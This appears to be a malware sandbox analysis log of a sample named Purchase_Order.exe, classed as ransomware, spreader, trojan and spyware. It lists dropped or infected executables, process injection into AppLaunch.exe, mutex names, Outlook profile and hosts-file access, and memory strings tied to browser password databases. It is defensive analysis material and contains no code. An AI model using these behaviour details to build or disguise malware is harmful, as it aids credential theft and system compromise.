Source: WmiApSrv.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: xbgmsvc.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SQLDumper.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: RdrServicesUpdater2_1901220035.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ChromeSetup.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Purchase_Order.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Purchase_Order.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Purchase_Order.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase_Order.exe.log Jump to behavior
Source: classification engine Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@20/126@74/22
Source: C:\Users\user\Desktop\Purchase_Order.exe File read: C:\Users\desktop.ini Jump to behavior
Source: Purchase_Order.exe, 00000000.00000002.308576519.0000000008F8B000.00000004.00000800.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000002.308576519.000000000913F000.00000004.00000800.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: hti.sLnagaugfe
Source: Purchase_Order.exe, 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: F*\AC:\Users\TSC\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp
Source: Purchase_Order.exe, 00000000.00000002.308576519.0000000008F8B000.00000004.00000800.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000002.308576519.000000000913F000.00000004.00000800.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: F*\AC:\Users\TSC\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp(
Source: Purchase_Order.exe ReversingLabs: Detection: 33%
Source: Purchase_Order.exe Virustotal: Detection: 65%
Source: C:\Users\user\Desktop\Purchase_Order.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Purchase_Order.exe C:\Users\user\Desktop\Purchase_Order.exe
Source: C:\Users\user\Desktop\Purchase_Order.exe Process created: C:\Users\user\Desktop\Purchase_Order.exe C:\Users\user\Desktop\Purchase_Order.exe
Source: unknown Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Source: C:\Users\user\Desktop\Purchase_Order.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: unknown Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown Process created: C:\Windows\System32\AppVClient.exe C:\Windows\system32\AppVClient.exe
Source: unknown Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown Process created: C:\Windows\System32\msdtc.exe C:\Windows\System32\msdtc.exe
Source: unknown Process created: C:\Windows\SysWOW64\perfhost.exe C:\Windows\SysWow64\perfhost.exe
Source: unknown Process created: C:\Windows\System32\Locator.exe C:\Windows\system32\locator.exe
Source: unknown Process created: C:\Windows\System32\SensorDataService.exe C:\Windows\System32\SensorDataService.exe
Source: unknown Process created: C:\Windows\System32\snmptrap.exe C:\Windows\System32\snmptrap.exe
Source: unknown Process created: C:\Windows\System32\Spectrum.exe C:\Windows\system32\spectrum.exe
Source: unknown Process created: C:\Windows\System32\OpenSSH\ssh-agent.exe C:\Windows\System32\OpenSSH\ssh-agent.exe
Source: unknown Process created: C:\Windows\System32\TieringEngineService.exe C:\Windows\system32\TieringEngineService.exe
Source: unknown Process created: C:\Windows\System32\AgentService.exe C:\Windows\system32\AgentService.exe
Source: unknown Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown Process created: C:\Windows\System32\wbengine.exe C:\Windows\system32\wbengine.exe
Source: C:\Users\user\Desktop\Purchase_Order.exe Process created: C:\Users\user\Desktop\Purchase_Order.exe C:\Users\user\Desktop\Purchase_Order.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe File created: C:\Windows\TEMP\FXSTIFFDebugLogFile.txt Jump to behavior
Source: AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';n
Source: AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;>Cannot add a PRIMARY KEY column4Cannot add a UNIQUE columntCannot add a REFERENCES column with non-NULL default valuehCannot add a NOT NULL column with default value NULLZCannot add a column with non-constant default
Source: AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: AppLaunch.exe, 00000003.00000002.297219416.0000000007BCB000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.296164807.0000000006C0E000.00000004.00000800.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.296164807.0000000006C01000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' 4
Source: Purchase_Order.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\Purchase_Order.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-712be42ef7fcdce6123c288e-b
Source: C:\Users\user\Desktop\Purchase_Order.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-712be42ef7fcdce6-inf
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-712be42ef7fcdce69ea72c54-b
Source: C:\Users\user\Desktop\Purchase_Order.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Purchase_Order.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9415_none_508df7e2bcbccb90\MSVCR90.dll Jump to behavior
Source: Purchase_Order.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Purchase_Order.exe Static file information: File size 1456640 > 1048576
Source: Purchase_Order.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x162c00
Source: Purchase_Order.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Purchase_Order.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\tnameserv_objs\tnameserv.pdb source: Purchase_Order.exe, 00000001.00000003.765690623.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateCore_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.707996379.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\mmodesetup.pdbtup.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.663585045.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.660784191.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: msiexec.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.310525958.0000000004A90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: PresentationFontCache.pdb source: Purchase_Order.exe, 00000001.00000003.302834771.0000000003F30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\WebInstaller\RdrServicesUpdater.pdb;; source: Purchase_Order.exe, 00000001.00000003.468480456.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Perforce\FRMain\code\build\win\results\Release\info\arh.pdb source: Purchase_Order.exe, 00000001.00000003.499928911.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\orbd_objs\orbd.pdb source: Purchase_Order.exe, 00000001.00000003.754731862.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\ses\x-none\oarpmany.pdbany.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.646119900.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: sqm.pdb source: Purchase_Order.exe, 00000001.00000003.640806729.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.641382460.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\WCChromeNativeMessagingHost.pdb source: Purchase_Order.exe, 00000001.00000003.501456419.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\filters\x-none\fltldr.pdb source: Purchase_Order.exe, 00000001.00000003.631821112.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.634329246.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\keytool_objs\keytool.pdb source: Purchase_Order.exe, 00000001.00000003.750004926.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: loy.pdb source: Purchase_Order.exe, 00000001.00000003.658397315.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.656044699.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: xbgmsvc.pdb source: Purchase_Order.exe, 00000001.00000003.388077831.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\policytool_objs\policytool.pdb source: Purchase_Order.exe, 00000001.00000003.758347337.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: mini_installer.exe.pdb source: Purchase_Order.exe, 00000001.00000003.711735983.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.295869117.00000000047F0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: TEST_mi_exe_stub.pdb source: Purchase_Order.exe, 00000001.00000003.411248527.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\setup.pdbtup.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.417339030.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ADelRCP_Exec.pdb"" source: Purchase_Order.exe, 00000001.00000003.492138145.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\WebInstaller\RdrServicesUpdater.pdb source: Purchase_Order.exe, 00000001.00000003.468480456.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: 6\ship\setupexe\x-none\setup.pdbtup.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.417856509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleCrashHandler_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.684625491.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: VSTOInstaller.pdb source: Purchase_Order.exe, 00000001.00000003.430928767.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.669564745.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.668996490.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ose.pdb source: Purchase_Order.exe, 00000001.00000003.416561745.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313410080.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.415241710.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.311842101.0000000004F80000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\java-rmi_objs\java-rmi.pdb source: Purchase_Order.exe, 00000001.00000003.740719640.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\filters\x-none\fltldr.pdbldr.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.631821112.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\WCChromeNativeMessagingHost.pdb888 source: Purchase_Order.exe, 00000001.00000003.501456419.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: Purchase_Order.exe, 00000001.00000003.511938216.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: PerfHost.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.315030765.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.315746461.0000000003DF0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.315339113.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x64\ship\xdext\x-none\msoxmled.pdb source: Purchase_Order.exe, 00000001.00000003.427229509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.426700254.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x64\ship\xdext\x-none\msoxmled.pdbled.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.426700254.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Eula.pdb998 source: Purchase_Order.exe, 00000001.00000003.503224284.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\AcroRd32Info.pdb''' source: Purchase_Order.exe, 00000001.00000003.482499877.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdate_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.698391700.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.699231054.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\unpackexe\unpack200.pdbi source: Purchase_Order.exe, 00000001.00000003.769297878.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\chrome_wow_helper.pdb source: Purchase_Order.exe, 00000001.00000003.523140474.0000000001650000.00000004.00001000.00020000.00000000.sdmp, wow_helper.exe.1.dr
Source: Binary string: PerfHost.pdb source: Purchase_Order.exe, 00000001.00000003.315030765.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.315746461.0000000003DF0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.315339113.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateBroker_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.702304098.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\AcroBroker.pdbsTTR source: Purchase_Order.exe, 00000001.00000003.459984252.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\wxp\x-none\csisyncclient.pdb source: Purchase_Order.exe, 00000001.00000003.630878576.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.629783944.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: TieringEngineService.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.344535602.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: TieringEngineService.pdb source: Purchase_Order.exe, 00000001.00000003.344535602.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\TextExtractor.pdb source: Purchase_Order.exe, 00000001.00000003.487035926.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleCrashHandler_unsigned.pdbq source: Purchase_Order.exe, 00000001.00000003.684625491.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\Acrobat\Installers\BootStrapExe_Small\Release\Setup.pdb source: Purchase_Order.exe, 00000001.00000003.398792963.00000000014B0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\deployca\odeploy.pdb source: Purchase_Order.exe, 00000001.00000003.658397315.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.656044699.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\tmp\javacplexec\obj\javacpl.pdb source: Purchase_Order.exe, 00000001.00000003.743152034.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\liclua.pdb source: Purchase_Order.exe, 00000001.00000003.635458782.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.636503334.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ALG.pdb source: Purchase_Order.exe, 00000001.00000003.276164697.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: Purchase_Order.exe, 00000001.00000003.753439261.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: any.pdb source: Purchase_Order.exe, 00000001.00000003.646119900.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.651158367.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb00 source: Purchase_Order.exe, 00000001.00000003.511938216.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\AcroRd32Info.pdb source: Purchase_Order.exe, 00000001.00000003.482499877.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: msdtcexe.pdb source: Purchase_Order.exe, 00000001.00000003.308135186.0000000004A30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\xdext\x-none\msoxmled.pdbled.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000T source: Purchase_Order.exe, 00000001.00000003.644305213.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: Purchase_Order.exe, 00000001.00000003.295869117.00000000047F0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\mmodesetup.pdb source: Purchase_Order.exe, 00000001.00000003.663585045.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.660784191.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: w20.pdb source: Purchase_Order.exe, 00000001.00000003.600971914.0000000001880000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.607540838.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ent.pdb source: Purchase_Order.exe, 00000001.00000003.630878576.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.629783944.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\pack200_objs\pack200.pdb source: Purchase_Order.exe, 00000001.00000003.757009983.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\xdext\x-none\msoxmled.pdb source: Purchase_Order.exe, 00000001.00000003.644305213.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.643595874.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\tmp\javacplexec\obj\javacpl.pdb0 source: Purchase_Order.exe, 00000001.00000003.743152034.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\setup.pdb source: Purchase_Order.exe, 00000001.00000003.417339030.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\olicenseheartbeat.pdb source: Purchase_Order.exe, 00000001.00000003.665432985.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.666559573.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\javaw_objs\javaw.pdb source: Purchase_Order.exe, 00000001.00000003.676197496.0000000001650000.00000004.00001000.00020000.00000000.sdmp
